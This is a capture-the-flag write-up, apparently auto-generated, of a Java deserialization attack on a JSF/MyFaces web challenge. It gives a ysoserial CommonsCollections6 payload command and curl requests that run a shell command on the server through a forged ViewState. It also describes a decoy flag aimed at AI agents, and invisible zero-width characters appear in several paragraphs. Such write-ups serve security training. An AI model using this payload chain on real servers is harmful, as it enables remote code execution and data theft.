← Back to Writeups
HTBN/AWeb

DecisionForge

XESXOR8/23/20264 min read
#web#htb#n/a

DecisionForge

Platform: HackAdvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-04 | Status: Solved Techniques: blind_rce_via_file_write, commons_collections_gadget_chain, honeypot_flag_identification, java_serialization_analysis, jsf_viewstate_deserialization

Summary

Task: Java enterprise app (DecisionForge) using JSF 1.2 with Apache MyFaces 1.1.10 storing unsigned/unencrypted serialized ViewState. Solution: Exploited Java deserialization via CommonsCollections6 gadget chain in ViewState to achieve blind RCE, copied flag to web-accessible uploads directory.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackadvisor | ID: 20260504_hackadvisor_decisionforge
  • Tags: blind_rce, tomcat, honeypot_flag, jsf, java_deserialization, viewstate, myfaces, commons_collections
  • Indicators: javax.faces.ViewState hidden field with base64 starting rO0ABX, X-Powered-By: JSF/1.2 header, Apache MyFaces 1.1.x (unencrypted unsigned ViewState), Java serialization magic bytes aced0005 in ViewState, decoy flag in HTML comments designed to trap bots
  • Source: 20260504_hackadvisor_decisionforge.md

Foothold

Vulnerability / Misconfiguration

  1. Blind_rce_via_file_write
  2. Commons_collections_gadget_chain
  3. Honeypot_flag_identification
  4. Java_serialization_analysis
  5. Jsf_viewstate_deserialization
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • blind_rce_via_file_write
  • commons_collections_gadget_chain
  • honeypot_flag_identification
  • java_serialization_analysis
  • jsf_viewstate_deserialization
  • Tags: blind_rce, tomcat, honeypot_flag, jsf, java_deserialization, viewstate, myfaces, commons_collections

Original Writeup

<details><summary>Click to expand original content</summary>

Description

You are testing DecisionForge, an enterprise business rules management platform built by Forge Logic Inc. The application provides teams with tools to define, deploy, and monitor automated decision rules through a web-based interface. DecisionForge features a visual rules editor, deployment pipeline for staging and production, execution metrics dashboard, and a REST API for rule invocation. The platform is built on a Java enterprise stack and serves multiple team roles including Rules Authors, Deployers, and Viewers. Your goal is to find and exploit a vulnerability in the application's web framework that allows you to execute arbitrary commands on the server and retrieve the flag. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: Enterprise Java web application using JSF/MyFaces with insecure ViewState serialization. Goal is to achieve RCE and read the flag file.

Analysis

Reconnaissance

  • Server: nginx/1.25.5 (reverse proxy) → Apache Tomcat 9.0.115
  • Framework: JavaServer Faces (JSF) 1.2 with Apache MyFaces 1.1.10
  • Runtime: Java 11 (OpenJDK)
  • View Layer: Facelets 1.1.14
  • Database: H2 Embedded
  • Header: X-Powered-By: JSF/1.2
  • Pages: /login.jsf, /dashboard.jsf, /rules.jsf, /deployments.jsf, /settings.jsf, /api-docs
  • Credentials: user@test.com / password123 ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Vulnerability Identification

The login form at /login.jsf contains a hidden field javax.faces.ViewState with a base64-encoded value starting with rO0ABX — the base64 encoding of Java serialization magic bytes aced0005.

Key findings:

  • ViewState is a raw Java serialized HashMap
  • ViewState is NOT encrypted and NOT signed (no MAC/HMAC)
  • Contains: javax.faces.ViewState.sequence (Integer), form data, view path
  • Apache MyFaces 1.1.x stores ViewState as unencrypted, unsigned serialized Java objects — classic deserialization vulnerability ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Honeypot Flag

Every page contains a fake flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments and hidden divs. The name literally says "decoy not real trap for bots" — designed to trick AI agents and automated scanners. This is NOT the real flag.

Solution

Step 1: Generate Deserialization Payload

Used ysoserial to generate a CommonsCollections6 gadget chain payload that copies the flag to a web-accessible directory:

java --add-opens java.base/java.lang=ALL-UNNAMED \
     --add-opens java.base/java.util=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     --add-opens java.base/java.io=ALL-UNNAMED \
     --add-opens java.base/java.math=ALL-UNNAMED \
     --add-opens java.base/java.net=ALL-UNNAMED \
     --add-opens java.base/sun.reflect.annotation=ALL-UNNAMED \
     --add-opens java.management/javax.management=ALL-UNNAMED \
     --add-opens java.rmi/sun.rmi.server=ALL-UNNAMED \
     --add-opens java.rmi/sun.rmi.transport=ALL-UNNAMED \
     --add-opens java.rmi/sun.rmi.transport.tcp=ALL-UNNAMED \
     --add-opens java.desktop/java.beans=ALL-UNNAMED \
     -jar ysoserial.jar CommonsCollections6 \
     'cp /root/flag.txt /app/data/uploads/flag.txt' | base64 | tr -d '\n'

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 2: Submit Malicious ViewState

Submitted the payload as the javax.faces.ViewState parameter in the login form POST request:

curl -sk -X POST "$TARGET/login.jsf" \
  --data-urlencode "javax.faces.ViewState=$PAYLOAD" \
  -d "j_id_1:loginForm:email=test@test.com" \
  -d "j_id_1:loginForm:password=test" \
  -d "j_id_1:loginForm_SUBMIT=1"

The server deserialized the malicious ViewState, triggering the CommonsCollections gadget chain which executed cp /root/flag.txt /app/data/uploads/flag.txt. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 3: Retrieve the Flag

curl -sk "$TARGET/uploads/flag.txt"
# FLAG{REDACTED}

Key Insights

  • Timing-based detection (sleep) didn't work because the process was likely forked/async
  • The correct approach was to use a command with a persistent side effect (file copy to a web-accessible directory) rather than relying on timing
  • CommonsCollections5 and CommonsCollections6 use the same underlying transformer chain (ChainedTransformer + InvokerTransformer + LazyMap + TiedMapEntry) — the difference is only the deserialization trigger class
  • The web application root is at /app/data/ with uploads served at /uploads/
  • The --add-opens flags are needed when generating payloads on Java 17+ due to module system restrictions ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR